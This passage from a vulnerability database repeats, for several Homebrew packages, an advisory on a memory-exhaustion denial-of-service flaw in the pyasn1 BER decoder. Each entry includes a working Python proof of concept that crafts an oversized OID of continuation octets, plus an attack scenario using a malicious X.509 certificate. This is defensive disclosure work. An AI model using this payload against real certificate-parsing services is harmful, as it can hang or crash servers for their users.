        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17595"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17446"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3359"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3354"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:30088"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:28042"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2758"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24977"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24866"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2486"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2460"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2453"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24476"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2303"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has a DoS vulnerability in decoder",
      "upstream": [
        "GHSA-63vm-454h-vhhq",
        "CVE-2026-23490",
        "PYSEC-2026-1810"
      ]
    }

    BREW-ANSIBLE@9-CVE-2026-23490 (GHSA-63VM-454H-VHHQ)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:35 – Updated: 2026-10-07 22:51 – Source website
    VLAI
    Summary
    pyasn1 has a DoS vulnerability in decoder
    Details

    Summary

    After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

    Details

    The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

    PoC

    For the DoS:

    import pyasn1.codec.ber.decoder as decoder
    import pyasn1.type.univ as univ
    import sys
    import resource
    
    # Deliberately set memory limit to display PoC
    try:
        resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
        print("[*] Memory limit set to 100MB")
    except:
        print("[-] Could not set memory limit")
    
    # Test with different payload sizes to find the DoS threshold
    payload_size_mb = int(sys.argv[1])
    
    print(f"[*] Testing with {payload_size_mb}MB payload...")
    
    payload_size = payload_size_mb * 1024 * 1024
    # Create payload with continuation octets
    # Each 0x81 byte indicates continuation, causing bit shifting in decoder
    payload = b'\x81' * payload_size + b'\x00'
    length = len(payload)
    
    # DER length encoding (supports up to 4GB)
    if length < 128:
        length_bytes = bytes([length])
    elif length < 256:
        length_bytes = b'\x81' + length.to_bytes(1, 'big')
    elif length < 256**2:
        length_bytes = b'\x82' + length.to_bytes(2, 'big')
    elif length < 256**3:
        length_bytes = b'\x83' + length.to_bytes(3, 'big')
    else:
        # 4 bytes can handle up to 4GB
        length_bytes = b'\x84' + length.to_bytes(4, 'big')
    
    # Use OID (0x06) for more aggressive parsing
    malicious_packet = b'\x06' + length_bytes + payload
    
    print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")
    
    try:
        print("[*] Decoding (this may take time or exhaust memory)...")
        result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())
    
        print(f'[+] Decoded successfully')
        print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
    
        # Try to convert to string
        print('[*] Converting to string...')
        try:
            str_result = str(result[0])
            print(f'[+] String succeeded: {len(str_result)} chars')
            if len(str_result) > 10000:
                print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
        except MemoryError:
            print(f'[-] MemoryError during string conversion!')
        except Exception as e:
            print(f'[-] {type(e).__name__} during string conversion')
    
    except MemoryError:
        print('[-] MemoryError: Out of memory!')
    except Exception as e:
        print(f'[-] Error: {type(e).__name__}: {e}')
    
    
    print("\n[*] Test completed")
    

    Screenshots with the results:

    DoS

    Screenshot_20251219_160840

    Screenshot_20251219_152815

    Leak analysis

    A potential heap leak was investigated but came back clean:

    [*] Creating 1000KB payload...
    [*] Decoding with pyasn1...
    [*] Materializing to string...
    [+] Decoded 2157784 characters
    [+] Binary representation: 896001 bytes
    [+] Dumped to heap_dump.bin
    
    [*] First 64 bytes (hex):
      01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
    
    [*] First 64 bytes (ASCII/hex dump):
      0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..
      0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....
      0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... 
      0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.
    
    [*] Digit distribution analysis:
      '0':  10.1%
      '1':   9.9%
      '2':  10.0%
      '3':   9.9%
      '4':   9.9%
      '5':  10.0%
      '6':  10.0%
      '7':  10.0%
      '8':   9.9%
      '9':  10.1%
    

    Scenario

    1. An attacker creates a malicious X.509 certificate.
    2. The application validates certificates.
    3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

    Impact

    This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.

    Recommendation

    Add a limit to the allowed bytes in the decoder.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-23490 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/be353d755… WEB
    https://github.com/pyasn1/pyasn1/commit/3908f1442… WEB
    https://access.redhat.com/errata/RHSA-2026:4148 WEB
    https://access.redhat.com/errata/RHSA-2026:4147 WEB
    https://access.redhat.com/errata/RHSA-2026:4146 WEB
    https://access.redhat.com/errata/RHSA-2026:4145 WEB
    https://access.redhat.com/errata/RHSA-2026:4144 WEB
    https://access.redhat.com/errata/RHSA-2026:4143 WEB
    https://access.redhat.com/errata/RHSA-2026:4142 WEB
    https://access.redhat.com/errata/RHSA-2026:4141 WEB
    https://access.redhat.com/errata/RHSA-2026:4140 WEB
    https://access.redhat.com/errata/RHSA-2026:4139 WEB
    https://access.redhat.com/errata/RHSA-2026:4138 WEB
    https://access.redhat.com/errata/RHSA-2026:39894 WEB
    https://access.redhat.com/errata/RHSA-2026:3959 WEB
    https://access.redhat.com/errata/RHSA-2026:3958 WEB
    https://access.redhat.com/errata/RHSA-2026:2302 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:42644 WEB
    https://access.redhat.com/errata/RHSA-2026:4943 WEB
    https://access.redhat.com/errata/RHSA-2026:54757 WEB
    https://access.redhat.com/errata/RHSA-2026:5606 WEB
    https://access.redhat.com/security/cve/CVE-2026-23490 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2430472 WEB
    https://github.com/advisories/GHSA-63vm-454h-vhhq ADVISORY
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/blob/0f07d7242a7… WEB
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://pypi.org/project/pyasn1 WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:2300 WEB
    https://access.redhat.com/errata/RHSA-2026:2299 WEB
    https://access.redhat.com/errata/RHSA-2026:2221 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:1906 WEB
    https://access.redhat.com/errata/RHSA-2026:1905 WEB
    https://access.redhat.com/errata/RHSA-2026:1904 WEB
    https://access.redhat.com/errata/RHSA-2026:1903 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:17595 WEB
    https://access.redhat.com/errata/RHSA-2026:17446 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:3359 WEB
    https://access.redhat.com/errata/RHSA-2026:3354 WEB
    https://access.redhat.com/errata/RHSA-2026:30088 WEB
    https://access.redhat.com/errata/RHSA-2026:28042 WEB
    https://access.redhat.com/errata/RHSA-2026:2758 WEB
    https://access.redhat.com/errata/RHSA-2026:2712 WEB
    https://access.redhat.com/errata/RHSA-2026:24977 WEB
    https://access.redhat.com/errata/RHSA-2026:24866 WEB
    https://access.redhat.com/errata/RHSA-2026:2486 WEB
    https://access.redhat.com/errata/RHSA-2026:2483 WEB
    https://access.redhat.com/errata/RHSA-2026:2460 WEB
    https://access.redhat.com/errata/RHSA-2026:2453 WEB
    https://access.redhat.com/errata/RHSA-2026:24483 WEB
    https://access.redhat.com/errata/RHSA-2026:24476 WEB
    https://access.redhat.com/errata/RHSA-2026:2309 WEB
    https://access.redhat.com/errata/RHSA-2026:2303 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": null,
            "range_state": "affected",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.1",
            "upstream_fixed_in": "0.6.2"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "ansible@9",
            "purl": "pkg:brew/ansible%409"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "9.6.0_2"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.1",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.1"
          }
        ]
      },
      "details": "### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId \u003c\u003c 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b\u0027\\x81\u0027 * payload_size + b\u0027\\x00\u0027\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length \u003c 128:\n    length_bytes = bytes([length])\nelif length \u003c 256:\n    length_bytes = b\u0027\\x81\u0027 + length.to_bytes(1, \u0027big\u0027)\nelif length \u003c 256**2:\n    length_bytes = b\u0027\\x82\u0027 + length.to_bytes(2, \u0027big\u0027)\nelif length \u003c 256**3:\n    length_bytes = b\u0027\\x83\u0027 + length.to_bytes(3, \u0027big\u0027)\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b\u0027\\x84\u0027 + length.to_bytes(4, \u0027big\u0027)\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b\u0027\\x06\u0027 + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f\u0027[+] Decoded successfully\u0027)\n    print(f\u0027[!] Object size: {sys.getsizeof(result[0])} bytes\u0027)\n\n    # Try to convert to string\n    print(\u0027[*] Converting to string...\u0027)\n    try:\n        str_result = str(result[0])\n        print(f\u0027[+] String succeeded: {len(str_result)} chars\u0027)\n        if len(str_result) \u003e 10000:\n            print(f\u0027[!] MEMORY EXPLOSION: {len(str_result)} character string!\u0027)\n    except MemoryError:\n        print(f\u0027[-] MemoryError during string conversion!\u0027)\n    except Exception as e:\n        print(f\u0027[-] {type(e).__name__} during string conversion\u0027)\n\nexcept MemoryError:\n    print(\u0027[-] MemoryError: Out of memory!\u0027)\nexcept Exception as e:\n    print(f\u0027[-] Error: {type(e).__name__}: {e}\u0027)\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\u003cimg width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" /\u003e\n\n\u003cimg width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" /\u003e\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  \u00270\u0027:  10.1%\n  \u00271\u0027:   9.9%\n  \u00272\u0027:  10.0%\n  \u00273\u0027:   9.9%\n  \u00274\u0027:   9.9%\n  \u00275\u0027:  10.0%\n  \u00276\u0027:  10.0%\n  \u00277\u0027:  10.0%\n  \u00278\u0027:   9.9%\n  \u00279\u0027:  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.",
      "id": "BREW-ansible@9-CVE-2026-23490",
      "modified": "2026-10-07T22:51:30Z",
      "published": "2026-08-13T16:35:23Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4148"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4147"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4146"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4145"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4144"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4143"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4142"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4141"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4140"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4139"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:39894"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3959"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3958"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2302"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:42644"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4943"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:54757"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:5606"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430472"
        },
        {
          "type": "ADVISORY",
          "url": "https://github.com/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"
        },
        {
          "type": "WEB",
          "url": "https://pypi.org/project/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2300"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2299"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2221"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1906"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1905"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1904"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1903"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17595"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17446"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3359"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3354"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:30088"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:28042"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2758"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24977"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24866"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2486"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2460"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2453"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24476"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2303"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has a DoS vulnerability in decoder",
      "upstream": [
        "GHSA-63vm-454h-vhhq",
        "CVE-2026-23490",
        "PYSEC-2026-1810"
      ]
    }

    BREW-AWS-SHELL-CVE-2026-23490 (GHSA-63VM-454H-VHHQ)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:37 – Updated: 2026-10-31 18:50 – Source website
    VLAI
    Summary
    pyasn1 has a DoS vulnerability in decoder
    Details

    Summary

    After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

    Details

    The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

    PoC

    For the DoS:

    import pyasn1.codec.ber.decoder as decoder
    import pyasn1.type.univ as univ
    import sys
    import resource
    
    # Deliberately set memory limit to display PoC
    try:
        resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
        print("[*] Memory limit set to 100MB")
    except:
        print("[-] Could not set memory limit")
    
    # Test with different payload sizes to find the DoS threshold
    payload_size_mb = int(sys.argv[1])
    
    print(f"[*] Testing with {payload_size_mb}MB payload...")
    
    payload_size = payload_size_mb * 1024 * 1024
    # Create payload with continuation octets
    # Each 0x81 byte indicates continuation, causing bit shifting in decoder
    payload = b'\x81' * payload_size + b'\x00'
    length = len(payload)
    
    # DER length encoding (supports up to 4GB)
    if length < 128:
        length_bytes = bytes([length])
    elif length < 256:
        length_bytes = b'\x81' + length.to_bytes(1, 'big')
    elif length < 256**2:
        length_bytes = b'\x82' + length.to_bytes(2, 'big')
    elif length < 256**3:
        length_bytes = b'\x83' + length.to_bytes(3, 'big')
    else:
        # 4 bytes can handle up to 4GB
        length_bytes = b'\x84' + length.to_bytes(4, 'big')
    
    # Use OID (0x06) for more aggressive parsing
    malicious_packet = b'\x06' + length_bytes + payload
    
    print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")
    
    try:
        print("[*] Decoding (this may take time or exhaust memory)...")
        result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())
    
        print(f'[+] Decoded successfully')
        print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
    
        # Try to convert to string
        print('[*] Converting to string...')
        try:
            str_result = str(result[0])
            print(f'[+] String succeeded: {len(str_result)} chars')
            if len(str_result) > 10000:
                print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
        except MemoryError:
            print(f'[-] MemoryError during string conversion!')
        except Exception as e:
            print(f'[-] {type(e).__name__} during string conversion')
    
    except MemoryError:
        print('[-] MemoryError: Out of memory!')
    except Exception as e:
        print(f'[-] Error: {type(e).__name__}: {e}')
    
    
    print("\n[*] Test completed")
    

    Screenshots with the results:

    DoS

    Screenshot_20251219_160840

    Screenshot_20251219_152815

    Leak analysis

    A potential heap leak was investigated but came back clean:

    [*] Creating 1000KB payload...
    [*] Decoding with pyasn1...
    [*] Materializing to string...
    [+] Decoded 2157784 characters
    [+] Binary representation: 896001 bytes
    [+] Dumped to heap_dump.bin
    
    [*] First 64 bytes (hex):
      01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
    
    [*] First 64 bytes (ASCII/hex dump):
      0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..
      0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....
      0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... 
      0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.
    
    [*] Digit distribution analysis:
      '0':  10.1%
      '1':   9.9%
      '2':  10.0%
      '3':   9.9%
      '4':   9.9%
      '5':  10.0%
      '6':  10.0%
      '7':  10.0%
      '8':   9.9%
      '9':  10.1%
    

    Scenario

    1. An attacker creates a malicious X.509 certificate.
    2. The application validates certificates.
    3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

    Impact

    This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.

    Recommendation

    Add a limit to the allowed bytes in the decoder.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-23490 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/be353d755… WEB
    https://github.com/pyasn1/pyasn1/commit/3908f1442… WEB
    https://access.redhat.com/errata/RHSA-2026:4148 WEB
    https://access.redhat.com/errata/RHSA-2026:4147 WEB
    https://access.redhat.com/errata/RHSA-2026:4146 WEB
    https://access.redhat.com/errata/RHSA-2026:4145 WEB
    https://access.redhat.com/errata/RHSA-2026:4144 WEB
    https://access.redhat.com/errata/RHSA-2026:4143 WEB
    https://access.redhat.com/errata/RHSA-2026:4142 WEB
    https://access.redhat.com/errata/RHSA-2026:4141 WEB
    https://access.redhat.com/errata/RHSA-2026:4140 WEB
    https://access.redhat.com/errata/RHSA-2026:4139 WEB
    https://access.redhat.com/errata/RHSA-2026:4138 WEB
    https://access.redhat.com/errata/RHSA-2026:39894 WEB
    https://access.redhat.com/errata/RHSA-2026:3959 WEB
    https://access.redhat.com/errata/RHSA-2026:3958 WEB
    https://access.redhat.com/errata/RHSA-2026:2302 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:42644 WEB
    https://access.redhat.com/errata/RHSA-2026:4943 WEB
    https://access.redhat.com/errata/RHSA-2026:54757 WEB
    https://access.redhat.com/errata/RHSA-2026:5606 WEB
    https://access.redhat.com/security/cve/CVE-2026-23490 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2430472 WEB
    https://github.com/advisories/GHSA-63vm-454h-vhhq ADVISORY
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/blob/0f07d7242a7… WEB
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://pypi.org/project/pyasn1 WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:2300 WEB
    https://access.redhat.com/errata/RHSA-2026:2299 WEB
    https://access.redhat.com/errata/RHSA-2026:2221 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:1906 WEB
    https://access.redhat.com/errata/RHSA-2026:1905 WEB
    https://access.redhat.com/errata/RHSA-2026:1904 WEB
    https://access.redhat.com/errata/RHSA-2026:1903 WEB
